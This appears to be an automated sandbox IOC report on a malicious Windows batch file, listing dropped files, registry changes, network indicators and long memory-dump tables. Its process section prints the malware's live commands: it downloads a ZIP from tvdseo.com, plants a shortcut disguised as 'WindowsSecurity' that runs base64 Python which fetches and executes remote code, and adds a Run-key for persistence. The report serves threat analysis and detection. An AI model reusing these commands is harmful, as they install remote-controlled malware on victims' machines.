IOC Report
X4S15uEwg5.bat

loading gif

Files

File Path
Type
Category
Malicious
X4S15uEwg5.bat
DOS batch file, ASCII text, with very long lines (438), with CRLF line terminators
initial sample
 malicious
C:\Users\user\AppData\Local\WindowsSecurity.lnk
MS Windows shortcut, Item id list present, Has Relative path, Has command line arguments, Icon number=13, ctime=Sun Dec 31 23:25:52 1600, mtime=Sun Dec 31 23:25:52 1600, atime=Sun Dec 31 23:25:52 1600, length=0, window=hidenormalshowminimized
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
data
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ncixpfq.frl.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c5mnadby.iut.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cjhgzes2.oeh.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ik4jn315.wbs.psm1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pffczpzo.ahl.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pfrtg3gk.vx3.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_spm5uw3w.30r.ps1
ASCII text, with no line terminators
dropped
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xvo4t3db.yws.psm1
ASCII text, with no line terminators
dropped
\Device\ConDrv
ASCII text, with CRLF line terminators
dropped
There are 2 hidden files, click here to show them.

Processes

Path
Cmdline
Malicious
C:\Windows\System32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\X4S15uEwg5.bat" "
 malicious
C:\Windows\System32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://tvdseo.com/file/synaptics.zip', [System.IO.Path]::GetTempPath() + 'xac6UzvW4P.zip') "
malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
 malicious
C:\Windows\System32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $dst = [System.IO.Path]::Combine([System.Environment]::GetFolderPath('LocalApplicationData'), 'xac6UzvW4P'); Add-Type -AssemblyName System.IO.Compression.FileSystem; if (Test-Path $dst) { Remove-Item -Recurse -Force "$dst\*" } else { New-Item -ItemType Directory -Force $dst } ; [System.IO.Compression.ZipFile]::ExtractToDirectory([System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), 'xac6UzvW4P.zip'), $dst) "
malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
 malicious
C:\Windows\System32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo $s = $payload = "import base64;exec(base64.b64decode('aW1wb3J0IHVybGxpYi5yZXF1ZXN0O2ltcG9ydCBiYXNlNjQ7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHBzOi8vdHZkc2VvLmNvbS9maWxlL0Fkb25pcy9BZG9uaXNfWFdfRU5DJykucmVhZCgpLmRlY29kZSgndXRmLTgnKSkp'))";$obj = New-Object -ComObject WScript.Shell;$link = $obj.CreateShortcut("$env:LOCALAPPDATA\WindowsSecurity.lnk");$link.WindowStyle = 7;$link.TargetPath = "$env:LOCALAPPDATA\xac6UzvW4P\synaptics.exe";$link.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13";$link.Arguments = "-c `"$payload`"";$link.Save() "
malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
 malicious
C:\Windows\System32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Windows Security' -PropertyType String -Value 'C:\Windows\Explorer.EXE C:\Users\user\AppData\Local\WindowsSecurity.lnk' -Force "
malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
 malicious
C:\Windows\System32\cmd.exe
cmd.exe /c start "" "C:\Users\user\AppData\Local\xac6UzvW4P\synaptics.exe" -c "import base64;exec(base64.b64decode('aW1wb3J0IHVybGxpYi5yZXF1ZXN0O2ltcG9ydCBiYXNlNjQ7ZXhlYyhiYXNlNjQuYjY0ZGVjb2RlKHVybGxpYi5yZXF1ZXN0LnVybG9wZW4oJ2h0dHBzOi8vdHZkc2VvLmNvbS9maWxlL0Fkb25pcy9BZG9uaXNfWFdfRU5DJykucmVhZCgpLmRlY29kZSgndXRmLTgnKSkp'))"
 malicious
C:\Windows\explorer.exe
"C:\Windows\Explorer.EXE" C:\Users\user\AppData\Local\WindowsSecurity.lnk
 malicious
C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
 malicious
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
There are 3 hidden processes, click here to show them.

URLs

Name
IP
Malicious
https://tvdseo.com/file/synaptics.zip
104.21.81.137

Domains

Name
IP
Malicious
tvdseo.com
104.21.81.137

IPs

IP
Domain
Country
Malicious
104.21.81.137
tvdseo.com
United States

Registry

Path
Value
Malicious
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Windows Security
 malicious
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileDirectory
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableAutoFileTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableConsoleTracing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
ConsoleTracingMask
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
MaxFileSize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileDirectory
HKEY_CURRENT_USER_Classes\Local Settings\MuiCache\1e\417C44EB
@%SystemRoot%\System32\ndfapi.dll,-40001
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedPidlMRU
MRUListEx
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0
1
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\1
0
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\1
MRUListEx
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\1\0
0
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\1\0
MRUListEx
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\1\0\0
0
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\1\0\0
MRUListEx
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\1\0\0\0
0
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\1\0\0\0
MRUListEx
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\1\0\0\0\0
NodeSlot
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0\1\0\0\0\0
MRUListEx
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\8\Shell
SniffedFolderType
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU
MRUListEx
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\2\0
MRUListEx
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU
NodeSlots
There are 22 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
825000
heap
page read and write
825000
heap
page read and write
80F000
heap
page read and write
80F000
heap
page read and write
810000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
80A000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
833000
heap
page read and write
833000
heap
page read and write
833000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
814000
heap
page read and write
814000
heap
page read and write
810000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
833000
heap
page read and write
80B000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
3BDC000
heap
page read and write
80A000
heap
page read and write
80F000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
2193000
heap
page read and write
814000
heap
page read and write
80F000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
3BD0000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
6E28000
stack
page read and write
825000
heap
page read and write
810000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
806000
heap
page read and write
810000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
3C5E000
stack
page read and write
80B000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
818000
heap
page read and write
825000
heap
page read and write
80B000
heap
page read and write
825000
heap
page read and write
80F000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
80F000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
833000
heap
page read and write
810000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
1260000
heap
page read and write
3B5C000
heap
page read and write
816000
heap
page read and write
818000
heap
page read and write
810000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
80A000
heap
page read and write
80F000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
70AE000
stack
page read and write
825000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
7ED000
heap
page read and write
818000
heap
page read and write
816000
heap
page read and write
818000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
2CCD000
stack
page read and write
825000
heap
page read and write
816000
heap
page read and write
833000
heap
page read and write
814000
heap
page read and write
80A000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
82D000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
80B000
heap
page read and write
814000
heap
page read and write
814000
heap
page read and write
818000
heap
page read and write
80B000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
806000
heap
page read and write
825000
heap
page read and write
758000
heap
page read and write
3BDC000
heap
page read and write
825000
heap
page read and write
2668000
stack
page read and write
833000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
810000
heap
page read and write
833000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
7B2000
heap
page read and write
833000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
810000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
818000
heap
page read and write
814000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
80F000
heap
page read and write
814000
heap
page read and write
818000
heap
page read and write
825000
heap
page read and write
3BDC000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
819000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
810000
heap
page read and write
806000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
5553000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
80F000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
818000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
834000
heap
page read and write
80A000
heap
page read and write
825000
heap
page read and write
774000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
1280000
heap
page read and write
825000
heap
page read and write
818000
heap
page read and write
814000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
80A000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
80F000
heap
page read and write
80A000
heap
page read and write
80F000
heap
page read and write
3F28000
stack
page read and write
825000
heap
page read and write
80F000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
834000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
25EA000
stack
page read and write
825000
heap
page read and write
825000
heap
page read and write
3B5A000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
833000
heap
page read and write
810000
heap
page read and write
3B97000
heap
page read and write
816000
heap
page read and write
7FB000
heap
page read and write
833000
heap
page read and write
3BDC000
heap
page read and write
80F000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
814000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
816000
heap
page read and write
834000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
819000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
3B35000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
80A000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
818000
heap
page read and write
825000
heap
page read and write
818000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
80F000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
80A000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
80A000
heap
page read and write
80B000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
26FA000
stack
page read and write
825000
heap
page read and write
825000
heap
page read and write
80F000
heap
page read and write
825000
heap
page read and write
80A000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
710000
heap
page read and write
814000
heap
page read and write
818000
heap
page read and write
814000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
80A000
heap
page read and write
833000
heap
page read and write
80F000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
80B000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
712E000
stack
page read and write
825000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
833000
heap
page read and write
814000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
80F000
heap
page read and write
825000
heap
page read and write
80B000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
54F2000
heap
page read and write
3B97000
heap
page read and write
3AE1000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
80B000
heap
page read and write
814000
heap
page read and write
80F000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
80A000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
730000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
80A000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
3BDC000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
3AE5000
heap
page read and write
818000
heap
page read and write
825000
heap
page read and write
5470000
heap
page read and write
816000
heap
page read and write
28A3000
stack
page read and write
825000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
810000
heap
page read and write
12A0000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
814000
heap
page read and write
80A000
heap
page read and write
64B0000
trusted library allocation
page read and write
833000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
814000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
818000
heap
page read and write
833000
heap
page read and write
7FB000
heap
page read and write
3BD6000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
834000
heap
page read and write
833000
heap
page read and write
814000
heap
page read and write
810000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
797000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
833000
heap
page read and write
960000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
816000
heap
page read and write
80A000
heap
page read and write
814000
heap
page read and write
806000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
80B000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
3B97000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
814000
heap
page read and write
2D4E000
stack
page read and write
750000
heap
page read and write
80A000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
833000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
14A5000
heap
page read and write
834000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
80F000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
80A000
heap
page read and write
80A000
heap
page read and write
833000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
814000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
3BDC000
heap
page read and write
12F2000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
818000
heap
page read and write
816000
heap
page read and write
3AE1000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
3BDC000
heap
page read and write
833000
heap
page read and write
12A8000
heap
page read and write
825000
heap
page read and write
806000
heap
page read and write
810000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
810000
heap
page read and write
833000
heap
page read and write
5970000
heap
page read and write
833000
heap
page read and write
814000
heap
page read and write
80F000
heap
page read and write
80F000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
80A000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
833000
heap
page read and write
678000
stack
page read and write
2DA0000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
80A000
heap
page read and write
833000
heap
page read and write
833000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
810000
heap
page read and write
833000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
80F000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
1100000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
80F000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
833000
heap
page read and write
810000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
833000
heap
page read and write
810000
heap
page read and write
816000
heap
page read and write
3B97000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
810000
heap
page read and write
833000
heap
page read and write
80B000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
80B000
heap
page read and write
825000
heap
page read and write
80F000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
833000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
818000
heap
page read and write
80A000
heap
page read and write
810000
heap
page read and write
816000
heap
page read and write
80A000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
80A000
heap
page read and write
80F000
heap
page read and write
818000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
3B5C000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
80B000
heap
page read and write
83A000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
833000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
833000
heap
page read and write
816000
heap
page read and write
2B30000
heap
page read and write
3BDC000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
80B000
heap
page read and write
833000
heap
page read and write
818000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
80F000
heap
page read and write
833000
heap
page read and write
816000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
80F000
heap
page read and write
825000
heap
page read and write
818000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
816000
heap
page read and write
5976000
heap
page read and write
814000
heap
page read and write
80A000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
810000
heap
page read and write
80A000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
816000
heap
page read and write
2190000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
818000
heap
page read and write
814000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
80B000
heap
page read and write
816000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
80F000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
816000
heap
page read and write
965000
heap
page read and write
54E4000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
3BDC000
heap
page read and write
814000
heap
page read and write
814000
heap
page read and write
814000
heap
page read and write
833000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
5482000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
80F000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
14A0000
heap
page read and write
80A000
heap
page read and write
680000
heap
page read and write
5340000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
80F000
heap
page read and write
80A000
heap
page read and write
834000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
80F000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
7FB000
heap
page read and write
80F000
heap
page read and write
3BDC000
heap
page read and write
816000
heap
page read and write
833000
heap
page read and write
80F000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
80F000
heap
page read and write
825000
heap
page read and write
80F000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
256F000
stack
page read and write
825000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
833000
heap
page read and write
818000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
814000
heap
page read and write
7A2000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
80B000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
814000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
816000
heap
page read and write
840000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
834000
heap
page read and write
814000
heap
page read and write
80A000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
3B5B000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
316F000
stack
page read and write
814000
heap
page read and write
80A000
heap
page read and write
806000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
816000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
833000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
80F000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
80F000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
825000
heap
page read and write
814000
heap
page read and write
814000
heap
page read and write
80F000
heap
page read and write
825000
heap
page read and write
816000
heap
page read and write
3AE1000
